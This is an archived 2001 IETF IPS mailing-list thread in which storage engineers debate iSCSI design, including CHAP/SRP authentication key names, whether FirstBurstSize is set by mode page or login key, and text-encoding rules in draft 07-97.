ips@ece.cmu.edu Subject: RE: iSCSI: U= in Authentication I agree that more clarification regarding how to associate SCSI Names with user identities should be provided. I'm not sure if I agree that it should be possible to omit the names entirely - however. This would provide another optional way to approach the exchange (may provide or may not) which adds complexity to this portion of the code, more test cases, more unnecessary options, etc.. As you've mentioned it may also be different depending upon the authentication method in use. There is certainly room for improvement here. I have a bit of a gripe about the key=value pairs during authentication phase in general. First of all, the key names are not very descriptive, which defeats the purpose of using Text keys in the first place (in my opinion). Secondly and more importantly, there are key values that are not unique and depend upon what authentication method is in progress in order to decode/parse them. For example, A=5 in CHAP for algorithm selection is completely different that A=2345 in SRP. Also N=initiatorName in CHAP is totally different than N=5678 in SRP. It would be much easier if the text command parser didn't have to consider what authentication method was running and that all key values were unique. Thus I propose making the following name changes to CHAP and SRP key values. I'm not too concerned about the exact key names used, just that they are somewhat descriptive and unique. CHAP Key Values Old New --- -------- A ChapAlgorithm I ChapID N ChapUser C ChapChallenge R ChapResponse SRP Key Values Old New --- --- U SrpUser N SrpSafePrime g SrpGenerator s SrpSalt A SrpPubKeyA B SrpPubKeyB M SrpSessionKey HM SrpKeyProof Paul +------------------------------------------+ Paul Congdon HP ProCurve Networking Hewlett Packard Company 8000 Foothills Blvd - M/S 5662 Roseville, CA 95747 phone: 916-785-5753 email: paul_congdon@hp.com +------------------------------------------+ From owner-ips@ece.cmu.edu Mon Sep 24 11:06:08 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16995 for ; Mon, 24 Sep 2001 11:06:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8O4OdJ13277 for ips-outgoing; Mon, 24 Sep 2001 00:24:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8O4OaP13270 for ; Mon, 24 Sep 2001 00:24:36 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id GAA29784 for ; Mon, 24 Sep 2001 06:24:29 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8O4OSY90566 for ; Mon, 24 Sep 2001 06:24:28 +0200 Subject: RE: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 24 Sep 2001 07:25:00 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 24/09/2001 07:24:27 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk It has exactly the FCP-2 meaning. Julo "Elliott, Robert" ompaq.com> cc: Sent by: Subject: RE: iscsi : default iscsi mode page owner-ips@ece.cmu settings. .edu 24-09-01 02:09 Please respond to "Elliott, Robert" > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Friday, September 21, 2001 2:27 PM > > If an initiator cares about any settings it better run MODE SENSE > > to set them. In a multi-initiator environment with various kinds (I meant both MODE SENSE and MODE SELECT) > > of reset events occuring on the SAN, an initiator can't be sure > > of the state of a mode page. (see the tape problem discovered by > > Veritas in FCP-2 public review; tape mode pages were reset without > > the knowledge of the application, breaking backups). > > Isn't this all the more reason to avoid setting FirstBurstSize > through a mode page and use a login key for this ? Shared mode > pages can cause some strange side effects on I/Os that are > using un-solicited data. If there were not already a FirstBurstSize for other protocols controlled by the mode page, I'd agree - these protocol-specific fields shouldn't be controlled by mode pages, which can be changed by applications at any time. They ought to be properties of the login session and controlled only by the iSCSI drivers. However, it has been defined this way for other protocols, so I think a compatible control is needed for iSCSI. This makes protocol bridges simpler, and will avoid confusing software that does try to use these mode pages. A page that appears when a FC target is connected to a host via FC should also appear with the same meaning when presented through an iSCSI bridge via Ethernet. As Sanjeev noted in another email, this mode page is LU specific which would be hard to emulate in the login key approach. > > > Logical Unit Control Mode Page > > > ============================== > > > ... > > ... > Does the EPDC bit verify the CRN capabilities of both the target > FCP layer and the target SCSI ULP (device server) ? One would think > the capabilities of the 2 layers need to be checked through seperate > bits. The device server's ability to support CRN is a SCSI ULP > feature and seems more like a bit in the Control Mode Page. > (does not exist today ?). The target FCP's CRN capability is > tested through the FCP specific EPDC bit in the FCP > specific lun control mode page. The CRN is carried as part of the IU (aka PDU), so I think of it as part of the iSCSI layer, not the SCSI layer. Stuff in the CDBs is what the SCSI layer deals with. Enabling or disabling CRN is done through a mode page, which is SCSI layer activity. For protocol-specific mode page fields (like EPDC and FirstBurstSize) the SCSI layer has to talk to the iSCSI layer to read/write the controls. The disconnect-reconnect mode page has fields that can apply to most different protocols like FirstBurstSize. Provided the semantics are the same, any protocol offering those features should use the mode page to control them. New issue ========= iSCSI's FirstBurstSize does appear to have one difference from that described in SPC-2 and FCP-2: iSCSI-07-90 requires the entire transfer fit in the FirstBurstSize if enabled, while SPC-2/FCP-2 have no such restriction. I'd like to see it work the same as the other protocols. iSCSI: "It is also an error for an initiator to send more data, whether immediate or as separate PDUs, than the SCSI limit for first burst." SPC-2: "The FIRST BURST SIZE field indicates the maximum amount of data that may be transferred to the target for a command along with the command." FCP-2: "...If the maximum amount of data has been transmitted, but more data remains to be transferred, the target shall request that data with subsequent FCP_XFER_RDY IUs." --- Rob Elliott, Compaq Server Storage Robert.Elliott@compaq.com From owner-ips@ece.cmu.edu Mon Sep 24 11:06:10 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA16998 for ; Mon, 24 Sep 2001 11:06:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8O09X329425 for ips-outgoing; Sun, 23 Sep 2001 20:09:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zmamail03.zma.compaq.com (zmamail03.zma.compaq.com [161.114.64.103]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8O09WP29421 for ; Sun, 23 Sep 2001 20:09:32 -0400 (EDT) Received: by zmamail03.zma.compaq.com (Postfix, from userid 12345) id C82C1787B; Sun, 23 Sep 2001 20:09:26 -0400 (EDT) Received: from cceexg11.americas.cpqcorp.net (cceexg11.americas.cpqcorp.net [16.110.250.125]) by zmamail03.zma.compaq.com (Postfix) with ESMTP id 9875A7A36 for ; Sun, 23 Sep 2001 20:09:26 -0400 (EDT) Received: from cceexc17.americas.cpqcorp.net ([16.110.250.84]) by cceexg11.americas.cpqcorp.net with Microsoft SMTPSVC(5.0.2195.2966); Sun, 23 Sep 2001 19:09:26 -0500 content-class: urn:content-classes:message Subject: RE: iscsi : default iscsi mode page settings. Date: Sun, 23 Sep 2001 19:09:25 -0500 Message-ID: <78AF3C342AEAEF4BA33B35A8A15668C6019E2042@cceexc17.americas.cpqcorp.net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Thread-Topic: iscsi : default iscsi mode page settings. Thread-Index: AcFC06PpQ7I+AK7FEdWNrABQi1pGxQBsYJNQ X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 From: "Elliott, Robert" To: "IPS Reflector" X-OriginalArrivalTime: 24 Sep 2001 00:09:26.0270 (UTC) FILETIME=[2C0531E0:01C1448D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8O09WP29422 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit > -----Original Message----- > From: Santosh Rao [mailto:santoshr@cup.hp.com] > Sent: Friday, September 21, 2001 2:27 PM > > If an initiator cares about any settings it better run MODE SENSE > > to set them. In a multi-initiator environment with various kinds (I meant both MODE SENSE and MODE SELECT) > > of reset events occuring on the SAN, an initiator can't be sure > > of the state of a mode page. (see the tape problem discovered by > > Veritas in FCP-2 public review; tape mode pages were reset without > > the knowledge of the application, breaking backups). > > Isn't this all the more reason to avoid setting FirstBurstSize > through a mode page and use a login key for this ? Shared mode > pages can cause some strange side effects on I/Os that are > using un-solicited data. If there were not already a FirstBurstSize for other protocols controlled by the mode page, I'd agree - these protocol-specific fields shouldn't be controlled by mode pages, which can be changed by applications at any time. They ought to be properties of the login session and controlled only by the iSCSI drivers. However, it has been defined this way for other protocols, so I think a compatible control is needed for iSCSI. This makes protocol bridges simpler, and will avoid confusing software that does try to use these mode pages. A page that appears when a FC target is connected to a host via FC should also appear with the same meaning when presented through an iSCSI bridge via Ethernet. As Sanjeev noted in another email, this mode page is LU specific which would be hard to emulate in the login key approach. > > > Logical Unit Control Mode Page > > > ============================== > > > ... > > ... > Does the EPDC bit verify the CRN capabilities of both the target > FCP layer and the target SCSI ULP (device server) ? One would think > the capabilities of the 2 layers need to be checked through seperate > bits. The device server's ability to support CRN is a SCSI ULP > feature and seems more like a bit in the Control Mode Page. > (does not exist today ?). The target FCP's CRN capability is > tested through the FCP specific EPDC bit in the FCP > specific lun control mode page. The CRN is carried as part of the IU (aka PDU), so I think of it as part of the iSCSI layer, not the SCSI layer. Stuff in the CDBs is what the SCSI layer deals with. Enabling or disabling CRN is done through a mode page, which is SCSI layer activity. For protocol-specific mode page fields (like EPDC and FirstBurstSize) the SCSI layer has to talk to the iSCSI layer to read/write the controls. The disconnect-reconnect mode page has fields that can apply to most different protocols like FirstBurstSize. Provided the semantics are the same, any protocol offering those features should use the mode page to control them. New issue ========= iSCSI's FirstBurstSize does appear to have one difference from that described in SPC-2 and FCP-2: iSCSI-07-90 requires the entire transfer fit in the FirstBurstSize if enabled, while SPC-2/FCP-2 have no such restriction. I'd like to see it work the same as the other protocols. iSCSI: "It is also an error for an initiator to send more data, whether immediate or as separate PDUs, than the SCSI limit for first burst." SPC-2: "The FIRST BURST SIZE field indicates the maximum amount of data that may be transferred to the target for a command along with the command." FCP-2: "...If the maximum amount of data has been transmitted, but more data remains to be transferred, the target shall request that data with subsequent FCP_XFER_RDY IUs." --- Rob Elliott, Compaq Server Storage Robert.Elliott@compaq.com From owner-ips@ece.cmu.edu Mon Sep 24 11:06:16 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA17037 for ; Mon, 24 Sep 2001 11:06:16 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8ODv1B21023 for ips-outgoing; Mon, 24 Sep 2001 09:57:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from apollo.pirus.com ([4.36.58.225]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8ODuvP21014 for ; Mon, 24 Sep 2001 09:56:58 -0400 (EDT) Received: by apollo.pirus.com with Internet Mail Service (5.5.2650.21) id ; Mon, 24 Sep 2001 10:00:27 -0400 Message-ID: From: "Binford, Charles" To: "'Julian Satran'" , ips@ece.cmu.edu Subject: RE: iscsi : default iscsi mode page settings. Date: Mon, 24 Sep 2001 10:00:24 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I believe it is the transport's job to deliver the data. Buffering unsolicited data that has arrived at the target *before* the SCSI engine has even had a chance to evaluate the CDB is part of the data delivery system - the transport. Charles Binford Pirus Networks 316.315.0382 x222 -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Friday, September 21, 2001 11:06 PM To: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. That is not my reading of the map. The unsolicited payload buffer size is a "data sink" attribute. The data sink is the SCSI engine and not the iSCSI layer. Julo Santosh Rao cc: Sent by: Subject: Re: iscsi : default iscsi mode owner-ips@ece. page settings. cmu.edu 21-09-01 21:50 Please respond to Santosh Rao Julian, The FirstBurstSize is governing an iscsi parameter which is : "how much un-solicited data can the initiator send" ? I concur with Charles' suggestion that FirstBurstSize be moved to a login key. By doing this, we can improve scan times, due to the elimination of the mode sense/select & avoid the side effects of shared mode pages. This allows easier use of un-solicited data. Regards, Santosh From owner-ips@ece.cmu.edu Mon Sep 24 13:43:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25817 for ; Mon, 24 Sep 2001 13:43:04 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OGWOi02462 for ips-outgoing; Mon, 24 Sep 2001 12:32:24 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel13.hp.com (palrel13.hp.com [156.153.255.238]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OGWMP02458 for ; Mon, 24 Sep 2001 12:32:22 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel13.hp.com (Postfix) with ESMTP id B6C841F6B4 for ; Mon, 24 Sep 2001 09:31:56 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA27876 for ; Mon, 24 Sep 2001 09:31:52 -0700 (PDT) Message-ID: <3BAF6182.63F41563@cup.hp.com> Date: Mon, 24 Sep 2001 09:38:26 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: Content-Type: multipart/mixed; boundary="------------7A08FBEDF00CE3552451CFFF" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------7A08FBEDF00CE3552451CFFF Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, The FirstBurstSize is an iscsi property and not an attribute of the scsi ULP. Evidence of this lies in its location itself, the disconnect-reconnect mode page. This mode page is used to tune the parameters of the service delivery subsystem (in our case, this would be iscsi). I would like to re-iterate my request that FirstBurstSize be placed as a login key. Regards, Santosh > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 21, 2001 11:06 PM > To: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > That is not my reading of the map. The unsolicited payload buffer size is a > "data sink" attribute. The data sink is the SCSI engine and not the iSCSI > layer. > > Julo > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: Re: iscsi : default > iscsi mode > owner-ips@ece. page settings. > > cmu.edu > > > > > > 21-09-01 21:50 > > Please respond > > to Santosh Rao > > > > > > Julian, > > The FirstBurstSize is governing an iscsi parameter which is : "how much > un-solicited > data can the initiator send" ? I concur with Charles' suggestion that > FirstBurstSize be > moved to a login key. > > By doing this, we can improve scan times, due to the elimination of the > mode > sense/select & avoid the side effects of shared mode pages. This allows > easier use of > un-solicited data. > > Regards, > Santosh --------------7A08FBEDF00CE3552451CFFF Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------7A08FBEDF00CE3552451CFFF-- From owner-ips@ece.cmu.edu Mon Sep 24 13:44:37 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA25880 for ; Mon, 24 Sep 2001 13:44:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OGNqi01856 for ips-outgoing; Mon, 24 Sep 2001 12:23:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OGNpP01852 for ; Mon, 24 Sep 2001 12:23:51 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel11.hp.com (Postfix) with ESMTP id 3F3221F831; Mon, 24 Sep 2001 09:23:39 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id JAA27462; Mon, 24 Sep 2001 09:23:34 -0700 (PDT) Message-ID: <3BAF5F8D.BF265D98@cup.hp.com> Date: Mon, 24 Sep 2001 09:30:05 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: "Sanjeev Bhagat (TRIPACE/Zoetermeer)" Cc: IPS Reflector Subject: Re: iscsi : default iscsi mode page settings. References: <78AF3C342AEAEF4BA33B35A8A15668C6019E203B@cceexc17.americas.cpqcorp.net> <3BAB9495.F7BB3B9A@cup.hp.com> <005601c14485$41757380$0501fea9@SANJEEV> Content-Type: multipart/mixed; boundary="------------CF7411D5A53D79AA07831EAD" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------CF7411D5A53D79AA07831EAD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > I would still go in favour of running a mode sense rather than using a login > key because > 1. by providing a value in login key essentially means that we are doing > some sort of mode select to the target Sanjeev, I dis-agree with the above. A login key serves as a mechanism to either negotiate or query for a parameter value.By sending : FirstBurstSize=? you could query the target for its current setting of this parameter and you would achieve this in a more optimal manner than having to send one extra SCSI command on the wire during session establishment solely for the purpose of querying this key. In addition, even if the initiator attempted to negotiate this key, the target is allowed to send back a different value for this key based on the buffering abilities of the target. For ex : I -> T : MaximumBurstSize=128 T -> I : MaximumBurstSize=8 is a valid negotiation and the target is allowed to send back a default setting for all initiators without allowing any initiators to make a change. Thus, the login keys are as effective, but more optimal in use and more accurate in scope, than the use of scsi mode sense/select for querying/setting the FirstBurstSize. > 2. if multiple initiators send different values of firstburstsize then > target has to behave accordingly with all different targets. See above. Regards, Santosh > > This goes completely against the semantics of mode sense and mode select > defined in SCSI specifications. Any such parameteres are although > settable/changeable by clients but are mainly the properties of SCSI > LUs/targets. > > Mode sense command from initiator will simplify the logic at target's end as > well. --------------CF7411D5A53D79AA07831EAD Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------CF7411D5A53D79AA07831EAD-- From owner-ips@ece.cmu.edu Mon Sep 24 14:28:47 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27236 for ; Mon, 24 Sep 2001 14:28:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OHFkc05253 for ips-outgoing; Mon, 24 Sep 2001 13:15:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OHFiP05249 for ; Mon, 24 Sep 2001 13:15:44 -0400 (EDT) Received: from cisco.com (dhcp-161-44-68-173.cisco.com [161.44.68.173]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id NAA20064 for ; Mon, 24 Sep 2001 13:15:38 -0400 (EDT) Message-ID: <3BAF6A21.A5350663@cisco.com> Date: Mon, 24 Sep 2001 12:15:13 -0500 From: Steve Senum X-Mailer: Mozilla 4.73 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ietf-ips Subject: iSCSI: Comments on draft 07-97 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi Julian, Some comments on the draft-ietf-ips-iSCSI-07-97.txt. In section 3.10.4: 3.10.4 Text The initiator sends the target a set of key=value or key=list pairs encoded in UTF-8 Unicode. All the text keys and text values specified in this document are to be presented and interpreted in the case they appear in this document (they are case sensitive). The key and value are separated by a '=' (0x3d) delimiter. Every key=value pair (including the last or only pair) MUST be followed by exactly one null (0x00) delimiter. A list is a set of values separated by comma (0x2c). Binary items can be encoded using their hexadecimal representation (e.g., 8190 is 0x1ffe) or decimal representation. If not specified otherwise the maximum length of an individual value (not its string representation) is 255 bytes not including the delimiter (comma or null). Large binary items can be encoded using the Base64 encoding as specified by [RFC1521] preceded by the 0b. Key names MUST NOT exceed 63 bytes. The data lengths of a text request or response MUST NOT exceed 4096 bytes. Character strings are represented as plain text. Numeric and binary values are represented using decimal numbers, the hexadecimal 0xffff encoding or the Base64 encoding. Upper and lower case letters may be used interchangeably in hexadecimal notation (i.e., 0x1aBc, 0x1AbC and 0x1ABC are equivalent). 1. The third paragraph overlaps with the first. I would suggest moving all discussion on encodings to a seperate paragraph. 2. Why RFC 1521? Is was obsoleted by RFC 2045. 3. Could you define a "large binary item"? A value larger than 32 bits? Larger than can fit as hexadecimal in 255 characters, including the 0x prefix? 4. Can any key use the base64, or only those that specify it? If a key specifies it, can it also use decimal and hexadecimal encodings? 5. You might want to mention something about numbers prefixed with '0' being decimal (i.e., 011 is 11 (base 10), not 9 (base 8)), since we are sort of following the C language integer number conventions. 6. I don't undertand the "(not its string representation)" clause? Does this mean something like ("not its unicode character count")? Or say something like: If not specified otherwise the maximum length of an individual encoded value is 255 bytes not including the ^^^^^^^ delimiter (comma or null). 7. In the following paragraph: Manufacturers may introduce new keys by prefixing them with X- followed by their (reversed) domain name, for example the company owning the domain acme.com can issue: X-com.acme.bar.foo.do_something=0000000000000003 Why all the zeros? I would expect something like: X-com.acme.bar.foo.do_something=3 8. Appendix A has: [Kerberos] KRB_AP_REQ, KRB_AP_REP encoded as base64 strings. [Public Key] All the SPKM-* tokens are encoded as base64 strings and their binary length (not the encoded length) MUST not exceed 2048 bytes. [SRP] Where U, N, g, s, A, B, M and H(A | M | K) are defined in [RFC2945]. U is a text string, N,g,s,A,B,M and H(A | M | K) are numbers. [CHAP] N is a text string, A,A1,A2,I are numbers and C,R are large binaries encoded as hexadecimal strings. Why are SRP values all defined as numbers? From my (perhaps wrong) understanding of SRP, N, A and B can quite large, like 2048 bits or 256 bytes. I would think these should be encoded (always) as base64. Also, I belive M and H(...) are 160 bits, and s can go larger than 32 bits, perhaps they should always be encoded as hexadecimal strings? Regards, Steve Senum From owner-ips@ece.cmu.edu Mon Sep 24 14:31:29 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA27337 for ; Mon, 24 Sep 2001 14:31:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OHQf906081 for ips-outgoing; Mon, 24 Sep 2001 13:26:41 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OHQcP06077 for ; Mon, 24 Sep 2001 13:26:38 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TQ0FQVF6; Mon, 24 Sep 2001 19:28:05 +0200 Message-ID: <00e801c1451f$275fd860$0501fea9@SANJEEV> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Santosh Rao" , , "'Julian Satran'" , "Binford, Charles" References: Subject: Re: iscsi : default iscsi mode page settings. Date: Mon, 24 Sep 2001 19:34:21 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit well we are now debating two things 1. Whether Firstburstsize comes in iSCSI realm or does it come in SCSI realm. 2. Whether Firstburstsize should be sent as login key or should it be a part of mode sense/select page For the first point, As charles explained below Firstburstsize is a part of data delievery system (transport layer as described in SAM-2), so it certainly is not a parameter of SCSI. . SCSI as such does not even need to have any Firstburstsize because it is capable of transferring any amount of data. Firstburstsize basically only helps in faster implementation of data being transferred on network. As such the "SCSI Mode Pages" as described in iSCSI document should rather be renamed to iSCSI Mode pages. I think the FirstBurstSize be kept as login key but here we will have a problem as to which value be over-ridden whether the one sent by initiator or target. This depends upon whether a. the iSCSI target should be made so efficient as to support different values of Firstburstsize for different initiators. If it is so then the target accepts the Initiator value. This increases complexity on target side or b. the iSCSI target should operate on one particular mode of FirstBusSize. If it is so then initiator accepts target value. But in this case also I foresee a problem in this case when multiple intiators are accessing a iSCSI target and one of the iSCSI initiator changes the value of FirstBusSize If we keep FirstBurstSize as a part of mode sense/mode select page then the problem described above in (b) still exists Regards, Sanjeev ----- Original Message ----- From: "Binford, Charles" To: "'Julian Satran'" ; Sent: Monday, September 24, 2001 4:00 PM Subject: RE: iscsi : default iscsi mode page settings. > I believe it is the transport's job to deliver the data. Buffering > unsolicited data that has arrived at the target *before* the SCSI engine has > even had a chance to evaluate the CDB is part of the data delivery system - > the transport. > > Charles Binford > Pirus Networks > 316.315.0382 x222 > > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Friday, September 21, 2001 11:06 PM > To: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > > That is not my reading of the map. The unsolicited payload buffer size is a > "data sink" attribute. The data sink is the SCSI engine and not the iSCSI > layer. > > Julo > > > > > Santosh Rao > > > hp.com> cc: > > Sent by: Subject: Re: iscsi : default > iscsi mode > owner-ips@ece. page settings. > > cmu.edu > > > > > > 21-09-01 21:50 > > Please respond > > to Santosh Rao > > > > > > > > > > Julian, > > The FirstBurstSize is governing an iscsi parameter which is : "how much > un-solicited > data can the initiator send" ? I concur with Charles' suggestion that > FirstBurstSize be > moved to a login key. > > By doing this, we can improve scan times, due to the elimination of the > mode > sense/select & avoid the side effects of shared mode pages. This allows > easier use of > un-solicited data. > > Regards, > Santosh > From owner-ips@ece.cmu.edu Mon Sep 24 15:12:59 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA28272 for ; Mon, 24 Sep 2001 15:12:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8OI38A08561 for ips-outgoing; Mon, 24 Sep 2001 14:03:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8OI36P08555 for ; Mon, 24 Sep 2001 14:03:06 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id UAA205662 for ; Mon, 24 Sep 2001 20:02:59 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8OI2wY63662 for ; Mon, 24 Sep 2001 20:02:58 +0200 Subject: Re: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 24 Sep 2001 21:03:21 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 24/09/2001 21:02:58 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk I can sympathize with you wanting to use most of the parameters in iSCSI - but the values are in fact restrictions that SCSI places on iSCSI. Nevertheless the discussion is rather academic because SCSI can hand those parameters to iSCSI. SCSI can handle those parameters dynamically. iSCSI may have trouble handling this type of negotiation 